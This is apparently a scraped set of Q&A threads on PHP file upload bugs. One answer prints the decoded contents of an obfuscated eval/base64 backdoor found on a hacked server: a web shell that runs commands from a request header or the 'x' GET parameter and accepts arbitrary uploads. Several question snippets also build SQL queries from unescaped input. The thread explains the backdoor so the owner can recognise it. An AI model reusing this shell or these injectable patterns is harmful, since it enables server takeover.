I have a problem with my code but it is not about and error.
1) when I hit to refresh I still see previously echoing variables.
2)when I choose a file, it is supposed to transfer from temp_name into the 'uploads/' but it doesn't + it doesn't throw 'uploaded' message.
3) when I don't choose a file and submit it, it should say 'please choose a file.
can you explain me HOW to solve my issues and WHY are these things happening?
<?php
if (isset($_POST['submit'])){
$size=$_FILES['file']['size'].'kb'."<br>";
$name=$_FILES['file']['name']."<br>";
$type=$_FILES['file']['type']."<br>";
$tmp_name=$_FILES['file']['tmp_name']."<br>";
if (isset($name))
{
if(!empty($name))
{
$location='uploads/';
if (move_uploaded_file($tmp_name,$location.$name))
{
echo 'UPLOADED';
}
echo 'OK.';
}else
{
echo 'please choose a file.';
}
}
}
?>
<form action="upload.php" method="POST" enctype="multipart/form-data">
<br>
<input type ="file" name="file">
<br> <br>
<input type="submit" name="submit" value ="Submit">
</form>
<?php
echo 'File size: '.$size;
echo 'File name: '.$name;
echo 'File type: '.$type;
//echo 'File temporary place: '.$tmp_name;
?>
PS: this is a screenshot from page after just hit the refresh button
I
Here you go, using the file error value. Values will be 0 to 8 for different issues: http://php.net/manual/en/features.file-upload.errors.php
if (isset($_POST['submit'])){
if ($_FILES["file"]["error"]==0){ //success so far
$size=$_FILES['file']['size'];
$name=$_FILES['file']['name'];
$type=$_FILES['file']['type'];
$tmp_name=$_FILES['file']['tmp_name'];
$location='uploads/';
try{
$result = move_uploaded_file($tmp_name,$location.$name); // this will throw warnings though!
if($result){
echo 'UPLOADED AND MOVED';
}else{
echo "Unable to move the file";
}
}catch(Exception $e){
echo "Sorry there was a problem ".$e.getMessage();
}
}else{ //some sort of problem
echo "There was a problem with the upload (error code: ".$_FILES["file"]["error"].")";
if($_FILES["file"]["error"]==4 ){ // UPLOAD_ERR_NO_FILE
echo "<br/> Please choose a file to upload";
}
}
}
Make sure that your uploads folder exists and the permissions are set correctly. Display the correct errors may help.
Related
I am trying to redirect to another page after a successful upload.
So I searched for similar answers on stackoverflow but non seems to solve my problem.
This is my form:
<form enctype="multipart/form-data"
action="<?php print $_SERVER['PHP_SELF']?>" method="post">
<p><input type="hidden" name="MAX_FILE_SIZE" value="9000000" /> <input
type="file" name="pdfFile" /><br />
<br />
<input type="submit" value="upload" /></p>
</form>
This is my php which includes the header that redirects
<?php
if ( isset( $_FILES['pdfFile'] ) ) {
if ($_FILES['pdfFile']['type'] == "application/pdf") {
$source_file = $_FILES['pdfFile']['tmp_name'];
$dest_file = "upload/".$_FILES['pdfFile']['name'];
if (file_exists($dest_file)) {
print "The file name already exists!!";
}
else {
move_uploaded_file( $source_file, $dest_file )
or die ("Error!!");
if($_FILES['pdfFile']['error'] == 0) {
print "Pdf file uploaded successfully!";
print "<b><u>Details : </u></b><br/>";
print "File Name : ".$_FILES['pdfFile']['name']."<br.>"."<br/>";
print "File Size : ".$_FILES['pdfFile']['size']." bytes"."<br/>";
print "File location : upload/".$_FILES['pdfFile']['name']."<br/>";
header('Location: success.php');
}
}
}
else {
if ( $_FILES['pdfFile']['type'] != "application/pdf") {
print "Error occured while uploading file : ".$_FILES['pdfFile']['name']."<br/>";
print "Invalid file extension, should be pdf !!"."<br/>";
print "Error Code : ".$_FILES['pdfFile']['error']."<br/>";
}
}
}
?>
Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP.
PHP HEADER (From php.net)
WITH PHP:
<?php header("Location: LOADFILE.php"); ?>
If you want to use outputs first use Html or Javascript code
WITH HTML:
<meta http-equiv="refresh" content="2;URL=http://stackoverflow.com">
WITH JAVASCRIPT:
<script>window.location.replace("http://stackoverflow.com");</script>
Im using laravel. And the img wont upload to my public/imgs folder. It keeps saying Sorry, there was an error uploading your file.
// PHP CODE
$target_dir = "public/imgs/";
$target_file = $target_dir . basename($_FILES["img"]["name"]);
if (move_uploaded_file($_FILES["img"]["name"], $target_file)) {
echo "success";
}
else {
echo "Sorry, there was an error uploading your file.";
}
// HTML CODE
<form method="POST" action="/listings" enctype="multipart/form-data">
<input type="file" name="img">
</form>
First make sure the upload dir is existing and writable; then file_uploads is on in php.ini
Maybe you should change your original move_uploaded_file function to
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)
See the diff between name and tmp_name
<form method="POST" action="/listings" enctype="multipart/form-data">
<input type="file" name="img">
</form>
HTML
$target_dir = "public/imgs/";
$target_file = $target_dir . basename($_FILES["img"]["name"]);
if ($_FILES['img']['error'] == 0) {
if (move_uploaded_file($_FILES['img']['tmp_name'], $target_file)) {
echo 'success';
} else {
echo 'upload failed<br>';
echo '<pre>';
echo 'tmp name: ';
print_r($_FILES['img']['tmp_name']);
echo "\n target: ".$target_file;
echo "\n\n";
print_r($_FILES['img']);
echo '</pre>';
}
} else {
echo 'upload failed: ' . $_FILES['img']['error'];
}
PHP
This code should work and show all data for debugging.
Could someone explain me what is the effect of this snippet :
eval(gzinflate(str_rot13(base64_decode('DdHJZaJAAADQX8ktQWQAISzWWSVyUAdOAU6WhliKpUwEpExx8esn7xfe1+e/L0WSNzzHza5rSI+8iSe8G6fhdOimPbdY4hELHz8ZQbsM794x0ZOwNxaooVyjPDqIt16eNJbkEyo0fMZegybPsQ+FSvKaE4xNv6Za7cURokS3tgFbjtIzVaJECOXQcc/HRO9oVHY9iTSnq58/F+HUuSBxTiWIVrAZ6ZW9kYle2YPOTrxXE2KGRSDzmsC113CcKRnd3asSrIEwz2gh8uz3zJTKvHFXy5YPz1Uti1xshTfomvsGFyUW6ray21bNtpgwI6UmdkJV4Wk314QUgjH32JAkfbBhuvp3kcD+oiOz7MetE3w/litBrktQNC5nZOpGyYrmV6kKVgZa02bImL6Zy4JRYKbqgM0xIS6X+Iy74fai3gvJgc9ItPKKC3wESZWwTWcEfGealUXmof1P+svlFWIU7hENqMO6YlDopKeX3kSGFVSSZufsjBq3CeH8RVlAB51qzzJLZMemFnabbHkAzgFoU/B2XAXsnqPgJjIheHq8REYvu+L3FpcNIh0FglectVd7SV8iIThgOtI22K5sfCqf9LwdyRi86hDaM2MPzHzLdToOPdO6664iqwHH9LL9XDD8evrYDv6DiDdLlHwGsuuDTdYhzYaBXSqRySX4/ufX37evz/8='))));
Your server has been hacked. See https://serverfault.com/questions/218005/how-do-i-deal-with-a-compromised-server for recovery tips. This code allows an attacker to upload any file they want to your server. It decodes to:
<?php error_reporting(0); ?>
<?php system($_SERVER["HTTP_SHELL"]);
if ($_GET["x"]=="kaMtiEz") {
?>
<form method="POST" enctype="multipart/form-data" action="<?$_SERVER["PHP_SELF"]?>">
<input type="file" name="myFile"><input type="submit" name="ok" value="Upload">
</form>
<?php
if (isset($_POST["ok"]) && isset($_FILES["myFile"])) {
$file = $_FILES["myFile"]["tmp_name"];
$name = $_FILES["myFile"]["name"];
if (!move_uploaded_file($file, $name)) {
echo "Unable to upload file";
} else {
echo "File Uploaded...";
}
}
}
if (!empty($_GET["x"])) {
echo "<pre>";
system($_GET["x"]);
echo "Copyright 2011 by kaMtiEz - MagelangCyber Team ! d0nt rem0ve copyright if u real hax0r </pre>";
exit;
}
?>
I am having trouble getting a picture to load from mysql database. The directory is randomly generated and gets stored in the database just fine. When the page refreshes the img returns a broken link, echos 'not set.', and inspect element tells me that $default_pic isn't defined. I can't figure out what is going on here can anyone help?
<?php
error_reporting(E_ALL); ini_set('display_errors', 1);
$listingid = $_SESSION['edit_listing'];
if(isset($_FILES['listingpic'])){
if($_FILES['listingpic']['type']=="image/jpeg"||$_FILES['listingpic']['type']=="image/png"||$_FILES['listingpic']['type']=="image/gif"){
if($_FILES['listingpic']['size']<1048576){
$chars = "abcdefghijklmanopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
$rand_dir_name = substr (str_shuffle($chars), 0, 15);
mkdir("userdata/listingpics/$rand_dir_name/") or die("directory error");
if(file_exists("userdata/listingpics/$rand_dir_name/".$_FILES['listingpic']['name'])){
echo "File already exists.";
}
else{
move_uploaded_file($_FILES['listingpic']['tmp_name'], "userdata/listingpics/$rand_dir_name/".$_FILES['listingpic']['name']) or die("Failed to move file.");
$listing_pic_name = $_FILES['listingpic']['name'];
$listing_pic_query = mysql_query("UPDATE properties SET default_pic='$rand_dir_name/$listing_pic_name' WHERE id='$listingid'");
$check_def = mysql_query("SELECT default_pic FROM properties WHERE id='$listing_id'"); //ADDED
$def_rows = mysql_fetch_assoc($check_def); //ADDED
$def_pic = $def_rows['default_pic']; //ADDED
$default_pic = "userdata/listingpics/".$def_pic;//<-PROBLEM
header("Location: ../list_property/upload.php?id=".$listingid);
}
} else echo "File must not exceed 1MB.";
} else echo "File must be a JPEG, PNG, or GIF image.";
} else echo "Not set.";
?>
<form action="" method="POST" enctype="multipart/form-data">
<img src="<?php echo $default_pic; ?>" width="50%" height="50%"/><br>
<br>
<input type="file" name="listingpic" />
<input type="submit" name="uploadpic" value="Upload Picture">
</form>
When the you refresh the page after image has uploaded, the script refreshes, which means your $default_pic gets reset, so it gets empty.
If you want not to get rid of that error, you should write a query that pulls from database a default image and fills in variable.
I'm having a problem with the update section of a CRUD I'm making. The create works fine, and I'm using very similar code for the update but there's something going wrong and it seems to be a problem with the file upload.
I have a page that displays all the rows from the database. There's a link next to each row that says edit and when that's clicked on, it goes to a page that displays the row from the Db in a form. The information can then be changed and there's a submit button that when clicked makes the action of the form run, which is a php file that has this:
<?php
include ('includes/DbCon.php');
if (isset($_POST['ud_id']))$id = $_POST['ud_id'];
$query = "SELECT * FROM news WHERE id = '$id'";
$result = $mysqli->query ($query);
if(mysqli_num_rows($result)>=1)
{
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
$headline = $row['headline'];
$body = $row['body'];
$image = $row['image'];
}
else{
$mysqli->error;
}
//Set directory etc for image upload
$target_dir = "images/photo/";
$target_file = $target_dir . basename($_FILES["ud_image"]["name"]);
if (move_uploaded_file($_FILES["ud_image"]["tmp_name"], $target_file)or die($mysqli->error))
{
echo '<script type="text/javascript">';
echo 'alert("News Items Saved")';
echo '</script>';
} else {
echo "Sorry, there was an error with your file.";
}
There's more to it but it doesn't get past this, so I need help figuring out what's wrong with it. I've used var_dump and also printed the variables to see what's getting passed and everything is fine until it get's to the $target_file. When I print that variable I get 'image/photo' but I suspect it should be the full file name as well as the target path.
It's set the same way as the insert code, so I don't know what's wrong with it.
As requested, here's the form:
<form action="update.php" method="post" class="newNews">
<input type="hidden" name="ud_id" value="<?=$id;?>">
<label for="title">Title</label><br />
<input type="text" name="ud_headline" value="<?=$headline;?>"/>
<label for="text">Body</label><br />
<textarea name="ud_body" rows="5" cols="21" value="" class="editBody"><?=$body;?></textarea>
<p>Current Photo</p>
<img src="images/photo/<?=$image?>" alt=" " width="auto" height="auto"><br />
<input type="file" name="ud_image" class="newsImage" ><br />
<input type="submit" name="submit" value="Update news item" class='addNew' />
</form>
It appears to be a problem with your move_uploaded_file() function. From the online manual:
http://php.net/manual/en/function.move-uploaded-file.php
Try this code:
<?php
...
if ($_FILES["ud_image"]["error"] == UPLOAD_ERR_OK)
{
$tmp_name = $_FILES["ud_image"]["tmp_name"];
$name = $_FILES["ud_image"]["name"];
if (move_uploaded_file($tmp_name, "$target_dir$name"))
{
echo '<script type="text/javascript">';
echo 'alert("News Items Saved")';
echo '</script>';
}
else
{
echo "Sorry, there was an error with your file.";
}
}
else
{
echo "Sorry, there was an error with your file.";
}